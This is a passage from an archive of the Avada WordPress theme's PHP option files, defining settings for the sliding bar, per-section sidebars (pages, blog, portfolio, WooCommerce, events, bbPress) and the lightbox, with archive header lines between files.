=> '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--slidingbar_link_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'slidingbar_link_color_hover' => [ 'label' => esc_html__( 'Sliding Bar Link Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the text hover color of the sliding bar link font.', 'Avada' ), 'id' => 'slidingbar_link_color_hover', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--slidingbar_link_color_hover', 'callback' => [ 'sanitize_color' ], ], ], ], 'slidingbar_border' => [ 'label' => esc_html__( 'Border on Sliding Bar', 'Avada' ), 'description' => esc_html__( 'Turn on to display a border line on the sliding bar which makes it stand out more.', 'Avada' ), 'id' => 'slidingbar_border', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-slidingbar-border', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => '#slidingbar-area', 'className' => 'fusion-sliding-bar-border', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], ], ]; return $sections; } Avada/includes/options/sidebars.php000064400000073164152342437700013410 0ustar00 $value ) { $sidebar_options[] = $value; } } } $sidebars_array = []; foreach ( $sidebar_options as $sidebar_option ) { $sidebars_array[ $sidebar_option ] = $sidebar_option; } $sidebar_options = $sidebars_array; $sidebars_update_callback = [ [ 'where' => 'postMeta', 'condition' => '_wp_page_template', 'operator' => '!==', 'value' => '100-width.php', ], ]; $sections['sidebars'] = [ 'label' => esc_html__( 'Sidebars', 'Avada' ), 'id' => 'heading_sidebars', 'is_panel' => true, 'priority' => 10, 'icon' => 'el-icon-website', 'alt_icon' => 'fusiona-sidebar', 'fields' => [ 'sidebars_styling' => [ 'label' => esc_html__( 'Sidebar Styling', 'Avada' ), 'id' => 'sidebars_styling', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'responsive_sidebar_order' => [ 'id' => 'responsive_sidebar_order', 'label' => esc_html__( 'Sidebar Responsive Order', 'Avada' ), 'description' => esc_html__( 'Choose the order of sidebars and main content area on mobile layouts through drag & drop sorting.', 'Avada' ), 'type' => 'sortable', 'choices' => [ 'content' => esc_html__( 'Content', 'Avada' ), 'sidebar' => esc_html__( 'Sidebar 1', 'Avada' ), 'sidebar-2' => esc_html__( 'Sidebar 2', 'Avada' ), ], 'default' => 'content,sidebar,sidebar-2', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], 'update_callback' => $sidebars_update_callback, ], 'sidebar_sticky' => [ 'label' => esc_html__( 'Sticky Sidebars', 'Avada' ), 'description' => esc_html__( 'Select the sidebar(s) that should remain sticky when scrolling the page. If the sidebar content is taller than the screen, it acts like a normal sidebar until the bottom of the sidebar is within the viewport, which will then remain fixed in place as you scroll down.', 'Avada' ), 'id' => 'sidebar_sticky', 'default' => 'none', 'type' => 'radio-buttonset', 'choices' => [ 'none' => esc_html__( 'None', 'Avada' ), 'sidebar_one' => esc_html__( 'Sidebar 1', 'Avada' ), 'sidebar_two' => esc_html__( 'Sidebar 2', 'Avada' ), 'both' => esc_html__( 'Both', 'Avada' ), ], 'update_callback' => $sidebars_update_callback, ], 'sidebar_padding' => [ 'label' => esc_html__( 'Sidebar Padding', 'Avada' ), 'description' => esc_html__( 'Controls the sidebar padding.', 'Avada' ), 'id' => 'sidebar_padding', 'default' => '0px', 'type' => 'dimension', 'choices' => [ 'px', '%' ], 'css_vars' => [ [ 'name' => '--sidebar_padding', 'element' => '.sidebar', ], [ 'name' => '--sidebar_padding-percent_to_vw', 'element' => '.sidebar', 'callback' => [ 'string_replace', [ '%', 'vw' ] ], ], ], ], 'sidebar_bg_color' => [ 'label' => esc_html__( 'Sidebar Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the sidebar.', 'Avada' ), 'id' => 'sidebar_bg_color', 'default' => 'rgba(255,255,255,0)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--sidebar_bg_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'sidebar_widget_bg_color' => [ 'label' => esc_html__( 'Sidebar Widget Heading Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the widget title box. If left transparent the widget title will be unboxed.', 'Avada' ), 'id' => 'sidebar_widget_bg_color', 'default' => 'rgba(255,255,255,0)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--sidebar_widget_bg_color', 'element' => '.sidebar', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--sidebar_widget_bg_color-opaque-padding', 'element' => '.sidebar', 'callback' => [ 'return_string_if_transparent', [ 'transparent' => '', 'opaque' => '9px 15px', ], ], ], ], ], 'sidew_font_size' => [ 'label' => esc_html__( 'Sidebar Widget Heading Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size of the widget heading text.', 'Avada' ), 'id' => 'sidew_font_size', 'default' => '18px', 'type' => 'dimension', 'css_vars' => [ [ 'name' => '--sidew_font_size', 'element' => '.sidebar', ], ], ], 'sidebar_heading_color' => [ 'label' => esc_html__( 'Sidebar Widget Headings Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the sidebar widget heading text.', 'Avada' ), 'id' => 'sidebar_heading_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--sidebar_heading_color', 'element' => '.sidebar', 'callback' => [ 'sanitize_color' ], ], ], ], ], ], 'pages_sidebars_section' => [ 'label' => esc_html__( 'Pages', 'Avada' ), 'id' => 'pages_sidebars_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'pages_sidebar' => [ 'label' => esc_html__( 'Global Page Sidebar 1', 'Avada' ), 'description' => esc_html__( 'Select sidebar 1 that will display on all pages.', 'Avada' ), 'id' => 'pages_sidebar', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'pages_sidebar_2' => [ 'label' => esc_html__( 'Global Page Sidebar 2', 'Avada' ), 'description' => esc_html__( 'Select sidebar 2 that will display on all pages. Sidebar 2 can only be used if sidebar 1 is selected.', 'Avada' ), 'id' => 'pages_sidebar_2', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'pages_global_sidebar' => [ 'label' => esc_html__( 'Force Global Sidebars For Pages', 'Avada' ), 'description' => esc_html__( 'Turn on if you want to use the same sidebars on all pages. This option overrides the page options.', 'Avada' ), 'id' => 'pages_global_sidebar', 'default' => '0', 'type' => 'switch', 'update_callback' => $sidebars_update_callback, ], 'default_sidebar_pos' => [ 'label' => esc_html__( 'Global Page Sidebar Position', 'Avada' ), 'description' => esc_html__( 'Controls the position of sidebar 1 for all pages. If sidebar 2 is selected, it will display on the opposite side.', 'Avada' ), 'id' => 'default_sidebar_pos', 'default' => 'Right', 'type' => 'radio-buttonset', 'choices' => [ 'Left' => esc_html__( 'Left', 'Avada' ), 'Right' => esc_html__( 'Right', 'Avada' ), ], 'update_callback' => $sidebars_update_callback, ], ], ], 'portfolio_posts_sidebars_section' => [ 'label' => esc_html__( 'Portfolio Posts', 'Avada' ), 'description' => '', 'id' => 'portfolio_posts_sidebars_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'portfolio_sidebar' => [ 'label' => esc_html__( 'Global Portfolio Post Sidebar 1', 'Avada' ), 'description' => esc_html__( 'Select sidebar 1 that will display on all portfolio posts.', 'Avada' ), 'id' => 'portfolio_sidebar', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'portfolio_sidebar_2' => [ 'label' => esc_html__( 'Global Portfolio Post Sidebar 2', 'Avada' ), 'description' => esc_html__( 'Select sidebar 2 that will display on all portfolio posts. Sidebar 2 can only be used if sidebar 1 is selected.', 'Avada' ), 'id' => 'portfolio_sidebar_2', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'portfolio_global_sidebar' => [ 'label' => esc_html__( 'Force Global Sidebars For Portfolio Posts', 'Avada' ), 'description' => esc_html__( 'Turn on if you want to use the same sidebars on all portfolio posts. This option overrides the portfolio post options.', 'Avada' ), 'id' => 'portfolio_global_sidebar', 'default' => '0', 'type' => 'switch', 'update_callback' => $sidebars_update_callback, ], 'portfolio_sidebar_position' => [ 'label' => esc_html__( 'Global Portfolio Sidebar Position', 'Avada' ), 'description' => esc_html__( 'Controls the position of sidebar 1 for all portfolio posts and archive pages. If sidebar 2 is selected, it will display on the opposite side.', 'Avada' ), 'id' => 'portfolio_sidebar_position', 'default' => 'Right', 'type' => 'radio-buttonset', 'choices' => [ 'Left' => esc_html__( 'Left', 'Avada' ), 'Right' => esc_html__( 'Right', 'Avada' ), ], 'update_callback' => $sidebars_update_callback, ], ], ], 'portfolio_archive_category_pages_sidebars_section' => [ 'label' => esc_html__( 'Portfolio Archive', 'Avada' ), 'description' => '', 'id' => 'portfolio_archive_category_pages_sidebars_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'portfolio_archive_important_note_info' => [ 'label' => '', /* translators: "Portfolio Posts sidebar" link. */ 'description' => '
' . sprintf( __( 'IMPORTANT NOTE: The sidebar position for portfolio archive pages is controlled by the option on the %s tab.', 'Avada' ), '' . esc_html__( 'Portfolio Posts sidebar', 'Avada' ) . '' ) . '
', 'id' => 'portfolio_archive_important_note_info', 'type' => 'custom', ], 'portfolio_archive_sidebar' => [ 'label' => esc_html__( 'Portfolio Archive Sidebar 1', 'Avada' ), 'description' => esc_html__( 'Select sidebar 1 that will display on the portfolio archive pages.', 'Avada' ), 'id' => 'portfolio_archive_sidebar', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'portfolio_archive_sidebar_2' => [ 'label' => esc_html__( 'Portfolio Archive Sidebar 2', 'Avada' ), 'description' => esc_html__( 'Select sidebar 2 that will display on the portfolio archive pages. Sidebar 2 can only be used if sidebar 1 is selected.', 'Avada' ), 'id' => 'portfolio_archive_sidebar_2', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], ], ], 'blog_posts_sidebars_section' => [ 'label' => esc_html__( 'Blog Posts', 'Avada' ), 'description' => '', 'id' => 'blog_posts_sidebars_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'posts_sidebar' => [ 'label' => esc_html__( 'Global Blog Post Sidebar 1', 'Avada' ), 'description' => esc_html__( 'Select sidebar 1 that will display on all blog posts.', 'Avada' ), 'id' => 'posts_sidebar', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'edit_shortcut' => [ 'selector' => [ '#sidebar.fusion-widget-area' ], 'shortcuts' => [ [ 'aria_label' => esc_html__( 'Edit Global Sidebar Options', 'Avada' ), 'callback' => 'fusionEditGlobalSidebar', 'css_class' => '', 'icon' => 'fusiona-cog', 'link_to_template_if_override_active' => 'content', 'override_icon' => 'fusiona-content', ], [ 'aria_label' => esc_html__( 'Edit Sidebar Options', 'Avada' ), 'css_class' => '', 'icon' => 'fusiona-settings', 'context' => 'po', 'disable_on_template_override' => 'content', ], [ 'aria_label' => esc_html__( 'Edit Sidebar Widgets', 'Avada' ), 'css_class' => 'fusion-edit-sidebar', 'link' => admin_url( 'widgets.php' ), 'disable_on_template_override' => 'content', ], ], ], ], 'posts_sidebar_2' => [ 'label' => esc_html__( 'Global Blog Post Sidebar 2', 'Avada' ), 'description' => esc_html__( 'Select sidebar 2 that will display on all blog posts. Sidebar 2 can only be used if sidebar 1 is selected.', 'Avada' ), 'id' => 'posts_sidebar_2', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'edit_shortcut' => [ 'selector' => [ '#sidebar-2.fusion-widget-area' ], 'shortcuts' => [ [ 'aria_label' => esc_html__( 'Edit Global Sidebar Options', 'Avada' ), 'callback' => 'fusionEditGlobalSidebar', 'css_class' => '', 'icon' => 'fusiona-cog', ], [ 'aria_label' => esc_html__( 'Edit Sidebar Options', 'Avada' ), 'css_class' => '', 'icon' => 'fusiona-settings', 'context' => 'po', ], [ 'aria_label' => esc_html__( 'Edit Sidebar Widgets', 'Avada' ), 'link' => admin_url( 'widgets.php' ), ], ], ], ], 'posts_global_sidebar' => [ 'label' => esc_html__( 'Force Global Sidebars For Blog Posts', 'Avada' ), 'description' => esc_html__( 'Turn on if you want to use the same sidebars on all blog posts. This option overrides the blog post options.', 'Avada' ), 'id' => 'posts_global_sidebar', 'default' => '0', 'type' => 'switch', ], 'blog_sidebar_position' => [ 'label' => esc_html__( 'Global Blog Sidebar Position', 'Avada' ), 'description' => esc_html__( 'Controls the position of sidebar 1 for all blog posts and archive pages. If sidebar 2 is selected, it will display on the opposite side.', 'Avada' ), 'id' => 'blog_sidebar_position', 'default' => 'Right', 'type' => 'radio-buttonset', 'choices' => [ 'Left' => esc_html__( 'Left', 'Avada' ), 'Right' => esc_html__( 'Right', 'Avada' ), ], ], ], ], 'blog_archive_category_pages_sidebars_section' => [ 'label' => esc_html__( 'Blog Archive', 'Avada' ), 'description' => '', 'id' => 'blog_archive_category_pages_sidebars_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'blog_archive_important_note_info' => [ 'label' => '', /* translators: "Blog Posts sidebar" link. */ 'description' => '
' . sprintf( __( 'IMPORTANT NOTE: The sidebar position for blog archive pages is controlled by the option on the %s tab.', 'Avada' ), '' . esc_html__( 'Blog Posts sidebar', 'Avada' ) . '' ) . '
', 'id' => 'blog_archive_important_note_info', 'type' => 'custom', ], 'blog_archive_sidebar' => [ 'label' => esc_html__( 'Blog Archive Sidebar 1', 'Avada' ), 'description' => esc_html__( 'Select sidebar 1 that will display on the blog archive pages.', 'Avada' ), 'id' => 'blog_archive_sidebar', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'blog_archive_sidebar_2' => [ 'label' => esc_html__( 'Blog Archive Sidebar 2', 'Avada' ), 'description' => esc_html__( 'Select sidebar 2 that will display on the blog archive pages. Sidebar 2 can only be used if sidebar 1 is selected.', 'Avada' ), 'id' => 'blog_archive_sidebar_2', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], ], ], 'search_sidebars_section' => [ 'label' => esc_html__( 'Search Page', 'Avada' ), 'description' => '', 'id' => 'search_only', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'search_sidebar' => [ 'label' => esc_html__( 'Search Page Sidebar 1', 'Avada' ), 'description' => esc_html__( 'Select sidebar 1 that will display on the search results page.', 'Avada' ), 'id' => 'search_sidebar', 'default' => 'Blog Sidebar', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'search_sidebar_2' => [ 'label' => esc_html__( 'Search Page Sidebar 2', 'Avada' ), 'description' => esc_html__( 'Select sidebar 2 that will display on the search results page. Sidebar 2 can only be used if sidebar 1 is selected.', 'Avada' ), 'id' => 'search_sidebar_2', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'search_sidebar_position' => [ 'label' => esc_html__( 'Search Sidebar Position', 'Avada' ), 'description' => esc_html__( 'Controls the position of sidebar 1 for the search results page. If sidebar 2 is selected, it will display on the opposite side.', 'Avada' ), 'id' => 'search_sidebar_position', 'default' => 'Right', 'type' => 'radio-buttonset', 'choices' => [ 'Left' => esc_html__( 'Left', 'Avada' ), 'Right' => esc_html__( 'Right', 'Avada' ), ], 'update_callback' => $sidebars_update_callback, ], ], ], 'woocommerce_products_sidebars_section' => ( Avada::$is_updating || class_exists( 'WooCommerce' ) ) ? [ 'label' => esc_html__( 'WooCommerce Products', 'Avada' ), 'id' => 'woocommerce_products_sidebars_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'woo_sidebar' => [ 'label' => esc_html__( 'Global WooCommerce Product Sidebar 1', 'Avada' ), 'description' => esc_html__( 'Select sidebar 1 that will display on all WooCommerce products.', 'Avada' ), 'id' => 'woo_sidebar', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'woo_sidebar_2' => [ 'label' => esc_html__( 'Global WooCommerce Product Sidebar 2', 'Avada' ), 'description' => esc_html__( 'Select sidebar 2 that will display on all WooCommerce products. Sidebar 2 can only be used if sidebar 1 is selected.', 'Avada' ), 'id' => 'woo_sidebar_2', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'woo_global_sidebar' => [ 'label' => esc_html__( 'Force Global Sidebars For WooCommerce Products', 'Avada' ), 'description' => esc_html__( 'Turn on if you want to use the same sidebars on all WooCommerce products. This option overrides the WooCommerce post options.', 'Avada' ), 'id' => 'woo_global_sidebar', 'default' => '0', 'type' => 'switch', 'update_callback' => $sidebars_update_callback, ], 'woo_sidebar_position' => [ 'label' => esc_html__( 'Global WooCommerce Sidebar Position', 'Avada' ), 'description' => esc_html__( 'Controls the position of sidebar 1 for all WooCommerce products and archive pages. If sidebar 2 is selected, it will display on the opposite side.', 'Avada' ), 'id' => 'woo_sidebar_position', 'default' => 'Right', 'type' => 'radio-buttonset', 'choices' => [ 'Left' => esc_html__( 'Left', 'Avada' ), 'Right' => esc_html__( 'Right', 'Avada' ), ], 'update_callback' => $sidebars_update_callback, ], ], ] : [], 'woocommerce_archive_category_pages_sidebars_section' => ( Avada::$is_updating || class_exists( 'WooCommerce' ) ) ? [ 'label' => esc_html__( 'WooCommerce Archive', 'Avada' ), 'description' => '', 'id' => 'woocommerce_archive_category_pages_sidebars_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'woocommerce_archive_important_note_info' => [ 'label' => '', /* translators: "WooCommerce Products sidebar" link. */ 'description' => '
' . sprintf( __( 'IMPORTANT NOTE: The sidebar position for WooCommerce archive pages is controlled by the option on the %s tab.', 'Avada' ), '' . esc_html__( 'WooCommerce Products sidebar', 'Avada' ) . '' ) . '
', 'id' => 'woocommerce_archive_important_note_info', 'type' => 'custom', ], 'woocommerce_archive_sidebar' => [ 'label' => esc_html__( 'WooCommerce Archive Sidebar 1', 'Avada' ), 'description' => esc_html__( 'Select sidebar 1 that will display on the WooCommerce archive pages.', 'Avada' ), 'id' => 'woocommerce_archive_sidebar', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'woocommerce_archive_sidebar_2' => [ 'label' => esc_html__( 'WooCommerce Archive Sidebar 2', 'Avada' ), 'description' => esc_html__( 'Select sidebar 2 that will display on the WooCommerce archive pages. Sidebar 2 can only be used if sidebar 1 is selected.', 'Avada' ), 'id' => 'woocommerce_archive_sidebar_2', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], ], ] : [], 'ec_global_sidebar_heading' => ( Avada::$is_updating || class_exists( 'Tribe__Events__Main' ) ) ? [ 'label' => esc_html__( 'Events Calendar', 'Avada' ), 'id' => 'ec_global_sidebar_heading', 'type' => 'sub-section', 'fields' => [ 'ec_sidebar' => [ 'label' => esc_html__( 'Global Events Calendar Sidebar 1', 'Avada' ), 'description' => esc_html__( 'Select sidebar 1 that will display on all Events Calendar posts and archives pages.', 'Avada' ), 'id' => 'ec_sidebar', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'ec_sidebar_2' => [ 'label' => esc_html__( 'Global Events Calendar Sidebar 2', 'Avada' ), 'description' => esc_html__( 'Select sidebar 2 that will display on all all Events Calendar posts and archive pages. Sidebar 2 can only be used if sidebar 1 is selected.', 'Avada' ), 'id' => 'ec_sidebar_2', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'ec_global_sidebar' => [ 'label' => esc_html__( 'Force Global Sidebars For Events Calendar Posts', 'Avada' ), 'description' => esc_html__( 'Turn on if you want to use the same sidebars on all Events Calendar posts. This option overrides the Events Calendar post options.', 'Avada' ), 'id' => 'ec_global_sidebar', 'default' => 0, 'type' => 'switch', 'update_callback' => $sidebars_update_callback, ], 'ec_sidebar_pos' => [ 'label' => esc_html__( 'Global Events Calendar Sidebar Position ', 'Avada' ), 'description' => esc_html__( 'Controls the position of sidebar 1 for all Events Calendar posts and archive pages. If sidebar 2 is selected, it will display on the opposite side.', 'Avada' ), 'id' => 'ec_sidebar_pos', 'default' => 'Right', 'type' => 'radio-buttonset', 'choices' => [ 'Left' => esc_html__( 'Left', 'Avada' ), 'Right' => esc_html__( 'Right', 'Avada' ), ], 'update_callback' => $sidebars_update_callback, ], ], ] : [], 'bbpress_sidebars_section' => ( Avada::$is_updating || class_exists( 'bbPress' ) || class_exists( 'BuddyPress' ) ) ? [ 'label' => esc_html__( 'bbPress/BuddyPress', 'Avada' ), 'description' => '', 'id' => 'bbpress_sidebars_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'ppbress_sidebar' => [ 'label' => esc_html__( 'Global bbPress/BuddyPress Sidebar 1', 'Avada' ), 'description' => esc_html__( 'Select sidebar 1 that will display on all bbPress/BuddyPress pages.', 'Avada' ), 'id' => 'ppbress_sidebar', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'ppbress_sidebar_2' => [ 'label' => esc_html__( 'Global bbPress/BuddyPress Sidebar 2', 'Avada' ), 'description' => esc_html__( 'Select sidebar 2 that will display on all bbPress/BuddyPress pages. Sidebar 2 can only be used if sidebar 1 is selected.', 'Avada' ), 'id' => 'ppbress_sidebar_2', 'default' => 'None', 'type' => 'select', 'choices' => $sidebar_options, 'update_callback' => $sidebars_update_callback, ], 'bbpress_global_sidebar' => [ 'label' => esc_html__( 'Force Global Sidebars For bbPress/BuddyPress', 'Avada' ), 'description' => esc_html__( 'Turn on if you want to use the same sidebars on all bbPress/BuddyPress pages. Forums index page, profile page and search page does not need this option checked to display the sidebars selected below.', 'Avada' ), 'id' => 'bbpress_global_sidebar', 'default' => '0', 'type' => 'switch', 'update_callback' => $sidebars_update_callback, ], 'bbpress_sidebar_position' => [ 'label' => esc_html__( 'Global bbPress/BuddyPress Sidebar Position', 'Avada' ), 'description' => esc_html__( 'Controls the position of sidebar 1 for all bbPress/BuddyPress pages. If sidebar 2 is selected, it will display on the opposite side.', 'Avada' ), 'id' => 'bbpress_sidebar_position', 'default' => 'Right', 'type' => 'radio-buttonset', 'choices' => [ 'Left' => esc_html__( 'Left', 'Avada' ), 'Right' => esc_html__( 'Right', 'Avada' ), ], 'update_callback' => $sidebars_update_callback, ], ], ] : [], ], ]; return $sections; } Avada/includes/options/lightbox.php000064400000044257152342437700013435 0ustar00 esc_html__( 'Lightbox', 'Avada' ), 'id' => 'heading_lightbox', 'priority' => 21, 'icon' => 'el-icon-info-circle', 'alt_icon' => 'fusiona-uniF602', 'fields' => [ 'status_lightbox' => [ 'label' => esc_html__( 'Lightbox', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the lightbox throughout the theme.', 'Avada' ), 'id' => 'status_lightbox', 'default' => '1', 'type' => 'switch', ], 'status_lightbox_single' => [ 'label' => esc_html__( 'Lightbox For Featured Images On Single Post Pages', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the lightbox on single blog and portfolio posts for the main featured images.', 'Avada' ), 'id' => 'status_lightbox_single', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], ], 'lightbox_behavior' => [ 'label' => esc_html__( 'Lightbox Behavior', 'Avada' ), 'description' => esc_html__( 'Controls what the lightbox displays for single blog and portfolio posts.', 'Avada' ), 'id' => 'lightbox_behavior', 'default' => 'all', 'type' => 'select', 'choices' => [ 'all' => esc_html__( 'First featured image of every post', 'Avada' ), 'individual' => esc_html__( 'Only featured images of individual post', 'Avada' ), ], 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], ], 'lightbox_skin' => [ 'label' => esc_html__( 'Lightbox Skin', 'Avada' ), 'description' => esc_html__( 'Controls the lightbox skin design.', 'Avada' ), 'id' => 'lightbox_skin', 'default' => 'metro-white', 'type' => 'select', 'choices' => [ 'light' => esc_html__( 'Light', 'Avada' ), 'dark' => esc_html__( 'Dark', 'Avada' ), 'mac' => esc_html__( 'Mac', 'Avada' ), 'metro-black' => esc_html__( 'Metro Black', 'Avada' ), 'metro-white' => esc_html__( 'Metro White', 'Avada' ), 'parade' => esc_html__( 'Parade', 'Avada' ), 'smooth' => esc_html__( 'Smooth', 'Avada' ), ], 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVars.lightbox_skin var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_skin', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_path' => [ 'label' => esc_html__( 'Thumbnails Position', 'Avada' ), 'description' => esc_html__( 'Controls the position of the lightbox thumbnails.', 'Avada' ), 'id' => 'lightbox_path', 'default' => 'vertical', 'type' => 'radio-buttonset', 'choices' => [ 'vertical' => esc_html__( 'Right', 'Avada' ), 'horizontal' => esc_html__( 'Bottom', 'Avada' ), ], 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVars.lightbox_path var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_path', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_animation_speed' => [ 'label' => esc_html__( 'Animation Speed', 'Avada' ), 'description' => esc_html__( 'Controls the animation speed of the lightbox.', 'Avada' ), 'id' => 'lightbox_animation_speed', 'default' => 'normal', 'type' => 'radio-buttonset', 'choices' => [ 'fast' => esc_html__( 'Fast', 'Avada' ), 'normal' => esc_html__( 'Normal', 'Avada' ), 'slow' => esc_html__( 'Slow', 'Avada' ), ], 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVars.lightbox_animation_speed var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_animation_speed', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_zoom' => [ 'label' => esc_html__( 'Lightbox Image Hover Zoom', 'Avada' ), 'description' => esc_html__( 'Set the scale factor for hovered images inside the lightbox. Set to 1 to disable zoom.', 'Avada' ), 'id' => 'lightbox_zoom', 'default' => '1', 'type' => 'slider', 'choices' => [ 'min' => '1', 'max' => '2', 'step' => '0.05', ], 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVars.lightbox_gallery var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_zoom', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_arrows' => [ 'label' => esc_html__( 'Arrows', 'Avada' ), 'description' => esc_html__( 'Turn on to display arrows in the lightbox', 'Avada' ), 'id' => 'lightbox_arrows', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'lightbox_skin', 'operator' => '!=', 'value' => 'parade', ], ], 'output' => [ // This is for the fusionLightboxVars.lightbox_arrows var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_arrows', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_gallery' => [ 'label' => esc_html__( 'Gallery Start/Stop Button', 'Avada' ), 'description' => esc_html__( 'Turn on to display the gallery start and stop button.', 'Avada' ), 'id' => 'lightbox_gallery', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVars.lightbox_gallery var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_gallery', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_loop' => [ 'label' => esc_html__( 'Loop Lightbox Gallery', 'Avada' ), 'description' => esc_html__( 'Turn on to loop the lightbox gallery.', 'Avada' ), 'id' => 'lightbox_loop', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the 